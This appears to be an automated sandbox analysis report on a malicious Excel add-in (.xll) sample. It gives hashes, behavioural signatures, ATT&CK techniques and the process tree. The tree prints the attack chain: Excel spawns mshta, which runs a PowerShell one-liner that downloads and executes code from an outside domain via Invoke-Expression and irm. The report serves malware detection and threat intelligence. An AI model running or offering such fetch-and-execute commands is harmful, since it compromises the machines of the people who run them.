Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 01:09

General

  • Target

    eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572.xll

  • Size

    12KB

  • MD5

    5eed411f0b498b1309dd6969183aac8f

  • SHA1

    d43cb0ee3dc08251970d4426d2d7d1f2270c24b2

  • SHA256

    eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572

  • SHA512

    ca882e9a2e1b11154b8b264fa08232d911a56c1936ed89ce00af27e069bb9e56b3460288c0de2275deeebc22c3bf2cbe11375cc69ee6a8827ec05f079ce98a02

  • SSDEEP

    192:1L29RBzDzeobchBj8JON2ONhlPru2rEPEjr7AhV:t29jnbcvYJOLvlju2vr7CV

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2628
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:468
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3676

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Discovery

Query Registry

3
T1012

System Information Discovery

4
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GOWSKSPC\d[1].htm
    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_apcgoybj.zyx.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572.xll
    Filesize

    12KB

    MD5

    5eed411f0b498b1309dd6969183aac8f

    SHA1

    d43cb0ee3dc08251970d4426d2d7d1f2270c24b2

    SHA256

    eba467ce577920e843a0197e91e2e18c31e645d7c0c9f83575c0a2ff402b3572

    SHA512

    ca882e9a2e1b11154b8b264fa08232d911a56c1936ed89ce00af27e069bb9e56b3460288c0de2275deeebc22c3bf2cbe11375cc69ee6a8827ec05f079ce98a02

  • memory/2628-10-0x00007FFA27CD0000-0x00007FFA27CE0000-memory.dmp
    Filesize

    64KB

  • memory/2628-6-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-7-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-4-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp
    Filesize

    64KB

  • memory/2628-5-0x00007FFA6A44D000-0x00007FFA6A44E000-memory.dmp
    Filesize

    4KB

  • memory/2628-83-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-8-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-12-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-11-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-16-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-17-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-18-0x00007FFA27CD0000-0x00007FFA27CE0000-memory.dmp
    Filesize

    64KB

  • memory/2628-15-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-14-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-13-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-0-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp
    Filesize

    64KB

  • memory/2628-80-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp
    Filesize

    64KB

  • memory/2628-3-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp
    Filesize

    64KB

  • memory/2628-9-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/2628-1-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp
    Filesize

    64KB

  • memory/2628-82-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp
    Filesize

    64KB

  • memory/2628-81-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp
    Filesize

    64KB

  • memory/2628-79-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp
    Filesize

    64KB

  • memory/2628-2-0x00007FFA2A430000-0x00007FFA2A440000-memory.dmp
    Filesize

    64KB

  • memory/2628-65-0x00007FFA6A3B0000-0x00007FFA6A5A5000-memory.dmp
    Filesize

    2.0MB

  • memory/3676-58-0x00000000064F0000-0x000000000650E000-memory.dmp
    Filesize

    120KB

  • memory/3676-59-0x0000000006590000-0x00000000065DC000-memory.dmp
    Filesize

    304KB

  • memory/3676-60-0x0000000007D80000-0x00000000083FA000-memory.dmp
    Filesize

    6.5MB

  • memory/3676-61-0x0000000006A10000-0x0000000006A2A000-memory.dmp
    Filesize

    104KB

  • memory/3676-57-0x0000000005F20000-0x0000000006274000-memory.dmp
    Filesize

    3.3MB

  • memory/3676-47-0x0000000005EB0000-0x0000000005F16000-memory.dmp
    Filesize

    408KB

  • memory/3676-46-0x0000000005E40000-0x0000000005EA6000-memory.dmp
    Filesize

    408KB

  • memory/3676-45-0x0000000005650000-0x0000000005672000-memory.dmp
    Filesize

    136KB

  • memory/3676-44-0x00000000056E0000-0x0000000005D08000-memory.dmp
    Filesize

    6.2MB

  • memory/3676-43-0x0000000002F20000-0x0000000002F56000-memory.dmp
    Filesize

    216KB